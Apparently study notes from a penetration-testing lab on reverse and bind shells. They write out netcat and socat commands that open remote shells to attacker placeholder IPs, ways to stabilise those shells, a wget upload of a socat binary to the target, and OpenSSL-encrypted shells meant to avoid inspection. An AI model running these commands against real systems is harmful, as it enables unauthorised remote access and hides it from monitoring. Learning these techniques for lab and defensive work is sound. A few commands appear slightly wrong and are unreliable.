# 9. What the Shell?

### Introduction

At a high level, there are two kinds of shell that are important when exploiting a target: reverse shells, and bind shells.

A reverse shell is when a target is forced to execute code that will connect back to your computer. On your own PC you will need to run a listener to receive the connection. Reverse shells are good to bypass firewall rules, however, you will need to configure your own network to accept the shell.

A bind shell is when the code executed on the target starts a listener attached to a shell on the target. This is then open on the internet which allows you to connect to the open port and obtain RCE. This does not require any configuration on your machine but it may be blocked by firewalls.

### Reverse Shells

To set up a very, very basic reverse shell, run the command `sudo nc -lvnp [port_number]` on your machine, and run the command `nc [local_ip] [port_number] -e /bin/bash` on the target machine.

The syntax for netcat listener breaks down to:

* `-l`:tells netcat it will be a listener
* `-v`: request verbose output
* `-n`: tells netcat not to resolve hostnames or use DNS
* `-p`: indicates port specification follows

If you use a port number below port 1024 you will need to run this using `sudo`.

For a basic reverse shell listening using socat, the syntax is: `socat TCP-L:[port] -`. This takes two points and connects them together. We can use the following command on Windows to connect back to this: `socat TCP:[LOCAL_IP]:[LOCAL_PORT] EXEC:powershell.exe,pipes`. The "pipes" option is used to force PowerShell to use Unix standard input and output. The equivalent command in Linux is: `socat TCP:[LOCAL_IP]:[LOCAL_PORT] EXEC:"bash -li"`.

### Bind Shells

To set up a very, very basic bind shell, run the command `nc -lvnp [port_number] -e "cmd.exe"` on the target machine and run `nc [IP_ADDR] [port_number]` on your attacking machine.

To get a bind shell socat listener, we can run the following on Linux: `socat TCP-L:[PORT] EXEC:"bash -li"`. On Windows, we can run `socat TCP-L:[TARGET_IP]:[TARGET_PORT]` to achieve the same result.

### Shell Stabilisation

Using Python:

1. Run `python -c 'import pty;pty.spawn("/bin/bash")'` which uses Python to spawn a better bash shell. This may depend on the version of `python` on the machine, to account for this, just replace the initial `python` with `python2` or `python3`.
2. Run `export TERM=xterm`, which will give us access to commands like `clear`.
3. Finally, background this shell using `CTRL + Z`, in your own terminal now use `stty raw -echo; fg`. This turns off our own terminal echo (giving access to autocompletes, arrow keys and `CTRL + C` process kill). This foregrounds the shell & completes the process.

Note: if this shell dies you will need to type `reset` and hit enter to restore your shell.

Using `rlwrap`:

`rlwrap` gives access to history, tab autocomplete, and the arrow keys immediately on getting the shell; however, manual stabilisation must be used to be able to use `CTRL + C` inside the shell. To install this run: `sudo apt install rlwrap`. To use `rlwrap`, invoke `rlwrap nc -lvnp [port_number]`.&#x20;

This method is useful when dealing with Windows shells, when dealing with a Linux target you can fully stabilise by following step 3 of the Python technique; background the shell and run `stty raw -echo; fg`.

Using Socat:

Socat will only work on Linux for stabilisation. To use this method a socat static compiled binary must be uploaded to the target, this can be done using `sudo python3 -m http.server 80` on your attacking machine and `wget [IP_ADDR]/socat -O /tmp/socat` on the target machine.

With these techniques it can also be useful to change terminal size. To do this, open another terminal and run `stty -a`, this will show a number of "rows" and "columns". Back in the reverse/bind shell, run `stty rows [NUMBER]` and then `stty cols [NUMBER]`, replacing `[NUMBER]` with the values you got from your own terminal.

To get a fully stable Linux tty reverse shell using socat, we can run: ``socat TCP-L:[PORT] FILE:`tty`,raw,echo=0``.

### Socat Encrypted Shells

Socat can create both bind and reverse encrypted shells. Encrypted shells cannot be spied on. Firstly, we need to generate a certificate to use encrypted shells, we should run this on our attacking machine:

```
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
```

This creates a 2048 bit RSA key and matching cert, valid for just under a year. When this command runs, it will ask for info, this can be left blank or filled with nonsense. The two created files then need to be merged into a `.pem` file:

```
cat shell.key shell.crt > shell.pem
```

Now, when we set up the reverse shell listener, we use:

```
socat OPENSSL-LISTEN:[PORT],cert=shell.pem,verify=0
```

Here, the `verify=0` tag tells the connection not to bother trying to validate the certificate. The certificate must be used on whatever device is listening. To connect back to this we use:

```
socat OPENSSL:[LOCAL_IP]:[LOCAL_PORT],verify=0 EXEC:/bin/bash
```

The same technique applies for a bind shell, on the target run:

```
socat OPENSSL-LISTEN:[PORT],cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
```

On the attacker run:

```
socat OPENSSL:[TARGET_IP]:[TARGET_PORT],verify=0
```
